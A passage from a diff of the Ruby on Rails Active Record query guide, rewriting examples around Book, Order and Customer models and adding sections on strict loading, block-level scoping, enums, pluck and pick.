+[`config.active_record.action_on_strict_loading_violation`]: configuring.html#config-active-record-action-on-strict-loading-violation
+
+### `strict_loading!`
+
+We can also enable strict loading on the record itself by calling [`strict_loading!`][]:
+
+```ruby
+user = User.first
+user.strict_loading!
+user.address.city # raises an ActiveRecord::StrictLoadingViolationError
+user.comments.to_a # raises an ActiveRecord::StrictLoadingViolationError
+```
+
+`strict_loading!` also takes a `:mode` argument. Setting it to `:n_plus_one_only`
+will only raise an error if an association that will lead to an N + 1 query is
+lazily loaded:
 
 ```ruby
-class Article < ApplicationRecord
-  scope :published,               -> { where(published: true) }
-  scope :published_and_commented, -> { published.where("comments_count > 0") }
+user.strict_loading!(mode: :n_plus_one_only)
+user.address.city # => "Tatooine"
+user.comments.to_a # => [#<Comment:0x00...]
+user.comments.first.likes.to_a # raises an ActiveRecord::StrictLoadingViolationError
+```
+
+[`strict_loading!`]: https://api.rubyonrails.org/classes/ActiveRecord/Core.html#method-i-strict_loading-21
+
+### `strict_loading` option on an association
+
+We can also enable strict loading for a single association by providing the `strict_loading` option:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books, strict_loading: true
 end
 ```
 
-To call this `published` scope we can call it on either the class:
+Scopes
+------
+
+Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as `where`, `joins` and `includes`. All scope bodies should return an `ActiveRecord::Relation` or `nil` to allow for further methods (such as other scopes) to be called on it.
+
+To define a simple scope, we use the [`scope`][] method inside the class, passing the query that we'd like to run when this scope is called:
 
 ```ruby
-Article.published # => [published articles]
+class Book < ApplicationRecord
+  scope :out_of_print, -> { where(out_of_print: true) }
+end
+```
+
+To call this `out_of_print` scope we can call it on either the class:
+
+```irb
+irb> Book.out_of_print
+=> #<ActiveRecord::Relation> # all out of print books
 ```
 
-Or on an association consisting of `Article` objects:
+Or on an association consisting of `Book` objects:
+
+```irb
+irb> author = Author.first
+irb> author.books.out_of_print
+=> #<ActiveRecord::Relation> # all out of print books by `author`
+```
+
+Scopes are also chainable within scopes:
 
 ```ruby
-category = Category.first
-category.articles.published # => [published articles belonging to this category]
+class Book < ApplicationRecord
+  scope :out_of_print, -> { where(out_of_print: true) }
+  scope :out_of_print_and_expensive, -> { out_of_print.where("price > 500") }
+end
 ```
 
-### Passing in arguments
+[`scope`]: https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Named/ClassMethods.html#method-i-scope
+
+### Passing in Arguments
 
 Your scope can take arguments:
 
 ```ruby
-class Article < ApplicationRecord
-  scope :created_before, ->(time) { where("created_at < ?", time) }
+class Book < ApplicationRecord
+  scope :costs_more_than, ->(amount) { where("price > ?", amount) }
 end
 ```
 
 Call the scope as if it were a class method:
 
-```ruby
-Article.created_before(Time.zone.now)
+```irb
+irb> Book.costs_more_than(100.10)
 ```
 
 However, this is just duplicating the functionality that would be provided to you by a class method.
 
 ```ruby
-class Article < ApplicationRecord
-  def self.created_before(time)
-    where("created_at < ?", time)
+class Book < ApplicationRecord
+  def self.costs_more_than(amount)
+    where("price > ?", amount)
   end
 end
 ```
 
-Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects:
+These methods will still be accessible on the association objects:
 
-```ruby
-category.articles.created_before(time)
+```irb
+irb> author.books.costs_more_than(100.10)
 ```
 
-### Using conditionals
+### Using Conditionals
 
 Your scope can utilize conditionals:
 
 ```ruby
-class Article < ApplicationRecord
-  scope :created_before, ->(time) { where("created_at < ?", time) if time.present? }
+class Order < ApplicationRecord
+  scope :created_before, ->(time) { where(created_at: ...time) if time.present? }
 end
 ```
 
 Like the other examples, this will behave similarly to a class method.
 
 ```ruby
-class Article < ApplicationRecord
+class Order < ApplicationRecord
   def self.created_before(time)
-    where("created_at < ?", time) if time.present?
+    where(created_at: ...time) if time.present?
   end
 end
 ```
 
 However, there is one important caveat: A scope will always return an `ActiveRecord::Relation` object, even if the conditional evaluates to `false`, whereas a class method, will return `nil`. This can cause `NoMethodError` when chaining class methods with conditionals, if any of the conditionals return `false`.
 
-### Applying a default scope
+### Applying a Default Scope
 
 If we wish for a scope to be applied across all queries to the model we can use the
-`default_scope` method within the model itself.
+[`default_scope`][] method within the model itself.
 
 ```ruby
-class Client < ApplicationRecord
-  default_scope { where("removed_at IS NULL") }
+class Book < ApplicationRecord
+  default_scope { where(out_of_print: false) }
 end
 ```
 
@@ -1370,203 +1923,313 @@ When queries are executed on this model, the SQL query will now look something l
 this:
 
 ```sql
-SELECT * FROM clients WHERE removed_at IS NULL
+SELECT * FROM books WHERE (out_of_print = false)
 ```
 
 If you need to do more complex things with a default scope, you can alternatively
 define it as a class method:
 
 ```ruby
-class Client < ApplicationRecord
+class Book < ApplicationRecord
   def self.default_scope
     # Should return an ActiveRecord::Relation.
   end
 end
 ```
 
-NOTE: The `default_scope` is also applied while creating/building a record.
-It is not applied while updating a record. E.g.:
+NOTE: The `default_scope` is also applied while creating/building a record
+when the scope arguments are given as a `Hash`. It is not applied while
+updating a record. E.g.:
 
 ```ruby
-class Client < ApplicationRecord
-  default_scope { where(active: true) }
+class Book < ApplicationRecord
+  default_scope { where(out_of_print: false) }
 end
+```
 
-Client.new          # => #<Client id: nil, active: true>
-Client.unscoped.new # => #<Client id: nil, active: nil>
+```irb
+irb> Book.new
+=> #<Book id: nil, out_of_print: false>
+irb> Book.unscoped.new
+=> #<Book id: nil, out_of_print: nil>
 ```
 
-### Merging of scopes
+Be aware that, when given in the `Array` format, `default_scope` query arguments
+cannot be converted to a `Hash` for default attribute assignment. E.g.:
+
+```ruby
+class Book < ApplicationRecord
+  default_scope { where("out_of_print = ?", false) }
+end
+```
 
-Just like `where` clauses scopes are merged using `AND` conditions.
+```irb
+irb> Book.new
+=> #<Book id: nil, out_of_print: nil>
+```
+
+[`default_scope`]: https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-default_scope
+
+### Merging of Scopes
+
+Just like `where` clauses, scopes are merged using `AND` conditions.
 
 ```ruby
-class User < ApplicationRecord
-  scope :active, -> { where state: 'active' }
-  scope :inactive, -> { where state: 'inactive' }
+class Book < ApplicationRecord
+  scope :in_print, -> { where(out_of_print: false) }
+  scope :out_of_print, -> { where(out_of_print: true) }
+
+  scope :recent, -> { where(year_published: 50.years.ago.year..) }
+  scope :old, -> { where(year_published: ...50.years.ago.year) }
 end
+```
 
-User.active.inactive
-# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive'
+```irb
+irb> Book.out_of_print.old
+SELECT books.* FROM books WHERE books.out_of_print = 'true' AND books.year_published < 1969
 ```
 
-We can mix and match `scope` and `where` conditions and the final sql
+We can mix and match `scope` and `where` conditions and the final SQL
 will have all conditions joined with `AND`.
 
-```ruby
-User.active.where(state: 'finished')
-# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished'
+```irb
+irb> Book.in_print.where(price: ...100)
+SELECT books.* FROM books WHERE books.out_of_print = 'false' AND books.price < 100
 ```
 
-If we do want the last `where` clause to win then `Relation#merge` can
+If we do want the last `where` clause to win then [`merge`][] can
 be used.
 
-```ruby
-User.active.merge(User.inactive)
-# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```irb
+irb> Book.in_print.merge(Book.out_of_print)
+SELECT books.* FROM books WHERE books.out_of_print = true
 ```
 
 One important caveat is that `default_scope` will be prepended in
 `scope` and `where` conditions.
 
 ```ruby
-class User < ApplicationRecord
-  default_scope { where state: 'pending' }
-  scope :active, -> { where state: 'active' }
-  scope :inactive, -> { where state: 'inactive' }
+class Book < ApplicationRecord
+  default_scope { where(year_published: 50.years.ago.year..) }
+
+  scope :in_print, -> { where(out_of_print: false) }
+  scope :out_of_print, -> { where(out_of_print: true) }
 end
+```
 
-User.all
-# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+```irb
+irb> Book.all
+SELECT books.* FROM books WHERE (year_published >= 1969)
 
-User.active
-# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
+irb> Book.in_print
+SELECT books.* FROM books WHERE (year_published >= 1969) AND books.out_of_print = false
 
-User.where(state: 'inactive')
-# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
+irb> Book.where('price > 50')
+SELECT books.* FROM books WHERE (year_published >= 1969) AND (price > 50)
 ```
 
 As you can see above the `default_scope` is being merged in both
 `scope` and `where` conditions.
 
+[`merge`]: https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-merge
+
+### Block-Level Scoping
+
+The [`scoping`][] method allows you to temporarily apply the current relation’s conditions within a block.
+Any query executed inside the block will use the scope of the relation.
+
+#### Basic Usage
+
+```ruby
+Order.where(customer_id: 1).scoping do
+  Order.first
+end
+
+# SELECT "orders".* FROM "orders" WHERE "orders"."customer_id" = ? ORDER BY "orders"."id" ASC LIMIT ?  [["customer_id", 1], ["LIMIT", 1]]
+```
+
+In this example, the `customer_id: 1` condition is applied automatically because the block is executed within the relation’s scope.
+
+#### Applying Scope To All Queries In The Block
+
+By default, scoping applies only to finder methods (such as `first`, `last`, `where`, etc.).
+If you want the scope to affect all queries—including `update` and `delete` on individual records, you can pass the option `all_queries: true`.
+
+```ruby
+Order.where(customer_id: 1).scoping(all_queries: true) do
+  order = Order.first
+  order.update(status: :complete)
+end
+
+# Order Load (0.1ms)    SELECT "orders".* FROM "orders" WHERE "orders"."customer_id" = ? ORDER BY "orders"."id" ASC LIMIT ?  [["customer_id", 1], ["LIMIT", 1]]
+# TRANSACTION (0.0ms)   BEGIN immediate TRANSACTION
+# Order Update (0.1ms)  UPDATE "orders" SET "status" = ?, "updated_at" = ? WHERE "orders"."id" = ? AND "orders"."customer_id" = ?  [["status", 2], ["updated_at", "2025-11-25 11:26:16.089553"], ["id", 1], ["customer_id", 1]]
+# TRANSACTION (0.0ms)   COMMIT TRANSACTION
+```
+
+This will ensure that the `customer_id: 1` condition is applied to all queries executed within the block.
+
+Once a block has been entered with `all_queries: true`, nested blocks cannot disable it:
+
+```ruby
+Order.where(customer_id: 1).scoping(all_queries: true) do
+  # This will raise an ArgumentError:
+  Order.scoping(all_queries: false) do
+    # ...
+  end
+end
+```
+
+[`scoping`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-scoping
+
 ### Removing All Scoping
 
-If we wish to remove scoping for any reason we can use the `unscoped` method. This is
+If we wish to remove scoping for any reason we can use the [`unscoped`][] method. This is
 especially useful if a `default_scope` is specified in the model and should not be
 applied for this particular query.
 
 ```ruby
-Client.unscoped.load
+Book.unscoped.load
 ```
 
 This method removes all scoping and will do a normal query on the table.
 
-```ruby
-Client.unscoped.all
-# SELECT "clients".* FROM "clients"
+```irb
+irb> Book.unscoped.all
+SELECT books.* FROM books
 
-Client.where(published: false).unscoped.all
-# SELECT "clients".* FROM "clients"
+irb> Book.where(out_of_print: true).unscoped.all
+SELECT books.* FROM books
 ```
 
-`unscoped` can also accept a block.
+`unscoped` can also accept a block:
 
-```ruby
-Client.unscoped {
-  Client.created_before(Time.zone.now)
-}
+```irb
+irb> Book.unscoped { Book.out_of_print }
+SELECT books.* FROM books WHERE books.out_of_print = true
 ```
 
+[`unscoped`]: https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-unscoped
+
 Dynamic Finders
 ---------------
 
-For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` method.
+For every field (also known as an attribute) you define in your table,
+Active Record provides a finder method. If you have a field called `first_name` on your `Customer` model for example,
+you get the instance method `find_by_first_name` for free from Active Record.
+If you also have a `locked` field on the `Customer` model, you also get `find_by_locked` method.
 
-You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")`
+You can specify an exclamation point (`!`) on the end of the dynamic finders
+to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Customer.find_by_first_name!("Ryan")`
 
-If you want to find both by name and locked, you can chain these finders together by simply typing "`and`" between the fields. For example, `Client.find_by_first_name_and_locked("Ryan", true)`.
+If you want to find both by `first_name` and `orders_count`, you can chain these finders together by simply typing "`and`" between the fields.
+For example, `Customer.find_by_first_name_and_orders_count("Ryan", 5)`.
 
 Enums
 -----
 
-The `enum` macro maps an integer column to a set of possible values.
+An enum lets you define an Array of values for an attribute and refer to them by name.  The actual value stored in the database is an integer that has been mapped to one of the values.
+
+Declaring an enum will:
+
+* Create scopes that can be used to find all objects that have or do not have one of the enum values
+* Create an instance method that can be used to determine if an object has a particular value for the enum
+* Create an instance method that can be used to change the enum value of an object
+
+for all possible values of an enum.
+
+For example, given this [`enum`][] declaration:
 
 ```ruby
-class Book < ApplicationRecord
-  enum availability: [:available, :unavailable]
+class Order < ApplicationRecord
+  enum :status, [:shipped, :being_packaged, :complete, :cancelled]
 end
 ```
 
-This will automatically create the corresponding [scopes](#scopes) to query the
-model. Methods to transition between states and query the current state are also
-added.
+These [scopes](#scopes) are created automatically and can be used to find all objects with or without a particular value for `status`:
 
-```ruby
-# Both examples below query just available books.
-Book.available
-# or
-Book.where(availability: :available)
+```irb
+irb> Order.shipped
+=> #<ActiveRecord::Relation> # all orders with status == :shipped
+irb> Order.not_shipped
+=> #<ActiveRecord::Relation> # all orders with status != :shipped
+```
+
+These instance methods are created automatically and query whether the model has that value for the `status` enum:
+
+```irb
+irb> order = Order.shipped.first
+irb> order.shipped?
+=> true
+irb> order.complete?
+=> false
+```
 
-book = Book.new(availability: :available)
-book.available?   # => true
-book.unavailable! # => true
-book.available?   # => false
+These instance methods are created automatically and will first update the value of `status` to the named value
+and then query whether or not the status has been successfully set to the value:
+
+```irb
+irb> order = Order.first
+irb> order.shipped!
+UPDATE "orders" SET "status" = ?, "updated_at" = ? WHERE "orders"."id" = ?  [["status", 0], ["updated_at", "2019-01-24 07:13:08.524320"], ["id", 1]]
+=> true
 ```
 
-Read the full documentation about enums
-[in the Rails API docs](http://api.rubyonrails.org/classes/ActiveRecord/Enum.html).
+Full documentation about enums can be found [here](https://api.rubyonrails.org/classes/ActiveRecord/Enum.html).
+
+[`enum`]: https://api.rubyonrails.org/classes/ActiveRecord/Enum.html#method-i-enum
 
-Understanding The Method Chaining
----------------------------------
+Understanding Method Chaining
+-----------------------------
 
-The Active Record pattern implements [Method Chaining](http://en.wikipedia.org/wiki/Method_chaining),
-which allow us to use multiple Active Record methods together in a simple and straightforward way.
+The Active Record pattern implements [Method Chaining](https://en.wikipedia.org/wiki/Method_chaining),
+which allows us to use multiple Active Record methods together in a simple and straightforward way.
 
 You can chain methods in a statement when the previous method called returns an
-`ActiveRecord::Relation`, like `all`, `where`, and `joins`. Methods that return
+[`ActiveRecord::Relation`][], like `all`, `where`, and `joins`. Methods that return
 a single object (see [Retrieving a Single Object Section](#retrieving-a-single-object))
 have to be at the end of the statement.
 
 There are some examples below. This guide won't cover all the possibilities, just a few as examples.
-When an Active Record method is called, the query is not immediately generated and sent to the database,
-this just happens when the data is actually needed. So each example below generates a single query.
+When an Active Record method is called, the query is not immediately generated and sent to the database.
+The query is sent only when the data is actually needed. So each example below generates a single query.
 
-### Retrieving filtered data from multiple tables
+### Retrieving Filtered Data from Multiple Tables
 
 ```ruby
-Person
-  .select('people.id, people.name, comments.text')
-  .joins(:comments)
-  .where('comments.created_at > ?', 1.week.ago)
+Customer
+  .select("customers.id, customers.last_name, reviews.body")
+  .joins(:reviews)
+  .where("reviews.created_at > ?", 1.week.ago)
 ```
 
 The result should be something like this:
 
 ```sql
-SELECT people.id, people.name, comments.text
-FROM people
-INNER JOIN comments
-  ON comments.person_id = people.id
-WHERE comments.created_at = '2015-01-01'
+SELECT customers.id, customers.last_name, reviews.body
+FROM customers
+INNER JOIN reviews
+  ON reviews.customer_id = customers.id
+WHERE (reviews.created_at > '2019-01-08')
 ```
 
-### Retrieving specific data from multiple tables
+### Retrieving Specific Data from Multiple Tables
 
 ```ruby
-Person
-  .select('people.id, people.name, companies.name')
-  .joins(:company)
-  .find_by('people.name' => 'John') # this should be the last
+Book
+  .select("books.id, books.title, authors.first_name")
+  .joins(:author)
+  .find_by(title: "Abstraction and Specification in Program Development")
 ```
 
 The above should generate:
 
 ```sql
-SELECT people.id, people.name, companies.name
-FROM people
-INNER JOIN companies
-  ON companies.person_id = people.id
-WHERE people.name = 'John'
+SELECT books.id, books.title, authors.first_name
+FROM books
+INNER JOIN authors
+  ON authors.id = books.author_id
+WHERE books.title = $1 [["title", "Abstraction and Specification in Program Development"]]
 LIMIT 1
 ```
 
@@ -1581,367 +2244,437 @@ It's common that you need to find a record or create it if it doesn't exist. You
 
 ### `find_or_create_by`
 
-The `find_or_create_by` method checks whether a record with the specified attributes exists. If it doesn't, then `create` is called. Let's see an example.
+The [`find_or_create_by`][] method checks whether a record with the specified attributes exists. If it doesn't, then `create` is called. Let's see an example.
 
-Suppose you want to find a client named 'Andy', and if there's none, create one. You can do so by running:
+Suppose you want to find a customer named "Andy", and if there's none, create one. You can do so by running:
 
-```ruby
-Client.find_or_create_by(first_name: 'Andy')
-# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+```irb
+irb> Customer.find_or_create_by(first_name: 'Andy')
+=> #<Customer id: 5, first_name: "Andy", last_name: nil, title: nil, visits: 0, orders_count: nil, lock_version: 0, created_at: "2019-01-17 07:06:45", updated_at: "2019-01-17 07:06:45">
 ```
 
 The SQL generated by this method looks like this:
 
 ```sql
-SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
+SELECT * FROM customers WHERE (customers.first_name = 'Andy') LIMIT 1
 BEGIN
-INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57')
+INSERT INTO customers (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57')
 COMMIT
 ```
 
-`find_or_create_by` returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned.
+`find_or_create_by` returns either the record that already exists or the new record. In our case, we didn't already have a customer named Andy so the record is created and returned.
 
 The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`).
 
 Suppose we want to set the 'locked' attribute to `false` if we're
 creating a new record, but we don't want to include it in the query. So
-we want to find the client named "Andy", or if that client doesn't
-exist, create a client named "Andy" which is not locked.
+we want to find the customer named "Andy", or if that customer doesn't
+exist, create a customer named "Andy" which is not locked.
 
 We can achieve this in two ways. The first is to use `create_with`:
 
 ```ruby
-Client.create_with(locked: false).find_or_create_by(first_name: 'Andy')
+Customer.create_with(locked: false).find_or_create_by(first_name: "Andy")
 ```
 
 The second way is using a block:
 
 ```ruby
-Client.find_or_create_by(first_name: 'Andy') do |c|
+Customer.find_or_create_by(first_name: "Andy") do |c|
   c.locked = false
 end
 ```
 
-The block will only be executed if the client is being created. The
+The block will only be executed if the customer is being created. The
 second time we run this code, the block will be ignored.
 
+[`find_or_create_by`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_create_by
+
 ### `find_or_create_by!`
 
-You can also use `find_or_create_by!` to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add
+You can also use [`find_or_create_by!`][] to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add
 
 ```ruby
 validates :orders_count, presence: true
 ```
 
-to your `Client` model. If you try to create a new `Client` without passing an `orders_count`, the record will be invalid and an exception will be raised:
+to your `Customer` model. If you try to create a new `Customer` without passing an `orders_count`, the record will be invalid and an exception will be raised:
 
-```ruby
-Client.find_or_create_by!(first_name: 'Andy')
-# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
+```irb
+irb> Customer.find_or_create_by!(first_name: 'Andy')
+ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
 ```
 
+[`find_or_create_by!`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_create_by-21
+
 ### `find_or_initialize_by`
 
-The `find_or_initialize_by` method will work just like
+The [`find_or_initialize_by`][] method will work just like
 `find_or_create_by` but it will call `new` instead of `create`. This
 means that a new model instance will be created in memory but won't be
 saved to the database. Continuing with the `find_or_create_by` example, we
-now want the client named 'Nick':
+now want the customer named 'Nina':
 
-```ruby
-nick = Client.find_or_initialize_by(first_name: 'Nick')
-# => #<Client id: nil, first_name: "Nick", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+```irb
+irb> nina = Customer.find_or_initialize_by(first_name: 'Nina')
+=> #<Customer id: nil, first_name: "Nina", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
 
-nick.persisted?
-# => false
+irb> nina.persisted?
+=> false
 
-nick.new_record?
-# => true
+irb> nina.new_record?
+=> true
 ```
 
 Because the object is not yet stored in the database, the SQL generated looks like this:
 
 ```sql
-SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1
+SELECT * FROM customers WHERE (customers.first_name = 'Nina') LIMIT 1
 ```
 
 When you want to save it to the database, just call `save`:
 
-```ruby
-nick.save
-# => true
+```irb
+irb> nina.save
+=> true
 ```
 
+[`find_or_initialize_by`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_initialize_by
+
 Finding by SQL
 --------------
 
-If you'd like to use your own SQL to find records in a table you can use `find_by_sql`. The `find_by_sql` method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:
+If you'd like to use your own SQL to find records in a table you can use [`find_by_sql`][]. The `find_by_sql` method will return an array of objects even if the underlying query returns just a single record. For example, you could run this query:
 
-```ruby
-Client.find_by_sql("SELECT * FROM clients
-  INNER JOIN orders ON clients.id = orders.client_id
-  ORDER BY clients.created_at desc")
-# =>  [
-#   #<Client id: 1, first_name: "Lucas" >,
-#   #<Client id: 2, first_name: "Jan" >,
-#   ...
-# ]
+```irb
+irb> Customer.find_by_sql("SELECT * FROM customers INNER JOIN orders ON customers.id = orders.customer_id ORDER BY customers.created_at desc")
+=> [#<Customer id: 1, first_name: "Lucas" ...>, #<Customer id: 2, first_name: "Jan" ...>, ...]
 ```
 
 `find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
 
+[`find_by_sql`]: https://api.rubyonrails.org/classes/ActiveRecord/Querying.html#method-i-find_by_sql
+
 ### `select_all`
 
-`find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
+`find_by_sql` has a close relative called [`lease_connection.select_all`][]. `select_all` will retrieve
+objects from the database using custom SQL just like `find_by_sql` but will not instantiate them.
+This method will return an instance of `ActiveRecord::Result` class and calling `to_a` on this
+object would return you an array of hashes where each hash indicates a record.
 
-```ruby
-Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'")
-# => [
-#   {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"},
-#   {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"}
-# ]
+```irb
+irb> Customer.lease_connection.select_all("SELECT first_name, created_at FROM customers WHERE id = '1'").to_a
+=> [{"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"}, {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"}]
 ```
 
+[`lease_connection.select_all`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html#method-i-select_all
+
 ### `pluck`
 
-`pluck` can be used to query single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.
+[`pluck`][] can be used to pick the value(s) from the named column(s) in the current relation. It accepts a list of column names as an argument and returns an array of values of the specified columns with the corresponding data type.
 
-```ruby
-Client.where(active: true).pluck(:id)
-# SELECT id FROM clients WHERE active = 1
-# => [1, 2, 3]
+```irb
+irb> Book.where(out_of_print: true).pluck(:id)
+SELECT id FROM books WHERE out_of_print = true
+=> [1, 2, 3]
 
-Client.distinct.pluck(:role)
-# SELECT DISTINCT role FROM clients
-# => ['admin', 'member', 'guest']
+irb> Order.distinct.pluck(:status)
+SELECT DISTINCT status FROM orders
+=> ["shipped", "being_packed", "cancelled"]
 
-Client.pluck(:id, :name)
-# SELECT clients.id, clients.name FROM clients
-# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+irb> Customer.pluck(:id, :first_name)
+SELECT customers.id, customers.first_name FROM customers
+=> [[1, "David"], [2, "Fran"], [3, "Jose"]]
 ```
 
 `pluck` makes it possible to replace code like:
 
 ```ruby
-Client.select(:id).map { |c| c.id }
+Customer.select(:id).map { |c| c.id }
 # or
-Client.select(:id).map(&:id)
+Customer.select(:id).map(&:id)
 # or
-Client.select(:id, :name).map { |c| [c.id, c.name] }
+Customer.select(:id, :first_name).map { |c| [c.id, c.first_name] }
 ```
 
 with:
 
 ```ruby
-Client.pluck(:id)
+Customer.pluck(:id)
 # or
-Client.pluck(:id, :name)
+Customer.pluck(:id, :first_name)
 ```
 
 Unlike `select`, `pluck` directly converts a database result into a Ruby `Array`,
 without constructing `ActiveRecord` objects. This can mean better performance for
-a large or often-running query. However, any model method overrides will
+a large or frequently-run query. However, any model method overrides will
 not be available. For example:
 
 ```ruby
-class Client < ApplicationRecord
+class Customer < ApplicationRecord
   def name
-    "I am #{super}"
+    "I am #{first_name}"
   end
 end
+```
 
-Client.select(:name).map &:name
-# => ["I am David", "I am Jeremy", "I am Jose"]
+```irb
+irb> Customer.select(:first_name).map &:name
+=> ["I am David", "I am Jeremy", "I am Jose"]
 
-Client.pluck(:name)
-# => ["David", "Jeremy", "Jose"]
+irb> Customer.pluck(:first_name)
+=> ["David", "Jeremy", "Jose"]
+```
+
+You are not limited to querying fields from a single table, you can query multiple tables as well.
+
+```irb
+irb> Order.joins(:customer, :books).pluck("orders.created_at, customers.email, books.title")
 ```
 
 Furthermore, unlike `select` and other `Relation` scopes, `pluck` triggers an immediate
 query, and thus cannot be chained with any further scopes, although it can work with
 scopes already constructed earlier:
 
+```irb
+irb> Customer.pluck(:first_name).limit(1)
+NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8>
+
+irb> Customer.limit(1).pluck(:first_name)
+=> ["David"]
+```
+
+NOTE: You should also know that using `pluck` will trigger eager loading if the relation object contains include values, even if the eager loading is not necessary for the query. For example:
+
+```irb
+irb> assoc = Customer.includes(:reviews)
+irb> assoc.pluck(:id)
+SELECT "customers"."id" FROM "customers" LEFT OUTER JOIN "reviews" ON "reviews"."id" = "customers"."review_id"
+```
+
+One way to avoid this is to `unscope` the includes:
+
+```irb
+irb> assoc.unscope(:includes).pluck(:id)
+```
+
+[`pluck`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-pluck
+
+### `pick`
+
+[`pick`][] can be used to pick the value(s) from the named column(s) in the current relation. It accepts a list of column names as an argument and returns the first row of the specified column values ​​with corresponding data type.
+`pick` is a short-hand for `relation.limit(1).pluck(*column_names).first`, which is primarily useful when you already have a relation that is limited to one row.
+
+`pick` makes it possible to replace code like:
+
 ```ruby
-Client.pluck(:name).limit(1)
-# => NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8>
+Customer.where(id: 1).pluck(:id).first
+```
+
+with:
 
-Client.limit(1).pluck(:name)
-# => ["David"]
+```ruby
+Customer.where(id: 1).pick(:id)
 ```
 
+[`pick`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-pick
+
 ### `ids`
 
-`ids` can be used to pluck all the IDs for the relation using the table's primary key.
+[`ids`][] can be used to pluck all the IDs for the relation using the table's primary key.
 
-```ruby
-Person.ids
-# SELECT id FROM people
+```irb
+irb> Customer.ids
+SELECT id FROM customers
 ```
 
 ```ruby
-class Person < ApplicationRecord
-  self.primary_key = "person_id"
+class Customer < ApplicationRecord
+  self.primary_key = "customer_id"
 end
+```
 
-Person.ids
-# SELECT person_id FROM people
+```irb
+irb> Customer.ids
+SELECT customer_id FROM customers
 ```
 
+[`ids`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-ids
+
 Existence of Objects
 --------------------
 
-If you simply want to check for the existence of the object there's a method called `exists?`.
+If you simply want to check for the existence of the object there's a method called [`exists?`][].
 This method will query the database using the same query as `find`, but instead of returning an
 object or collection of objects it will return either `true` or `false`.
 
 ```ruby
-Client.exists?(1)
+Customer.exists?(1)
 ```
 
 The `exists?` method also takes multiple values, but the catch is that it will return `true` if any
 one of those records exists.
 
 ```ruby
-Client.exists?(id: [1,2,3])
+Customer.exists?(id: [1, 2, 3])
 # or
-Client.exists?(name: ['John', 'Sergei'])
+Customer.exists?(first_name: ["Jane", "Sergei"])
 ```
 
 It's even possible to use `exists?` without any arguments on a model or a relation.
 
 ```ruby
-Client.where(first_name: 'Ryan').exists?
+Customer.where(first_name: "Ryan").exists?
 ```
 
-The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false`
+The above returns `true` if there is at least one customer with the `first_name` 'Ryan' and `false`
 otherwise.
 
 ```ruby
-Client.exists?
+Customer.exists?
 ```
 
-The above returns `false` if the `clients` table is empty and `true` otherwise.
+The above returns `false` if the `customers` table is empty and `true` otherwise.
 
-You can also use `any?` and `many?` to check for existence on a model or relation.
+You can also use `any?` and `many?` to check for existence on a model or relation.  `many?` will use SQL `count` to determine if the item exists.
 
 ```ruby
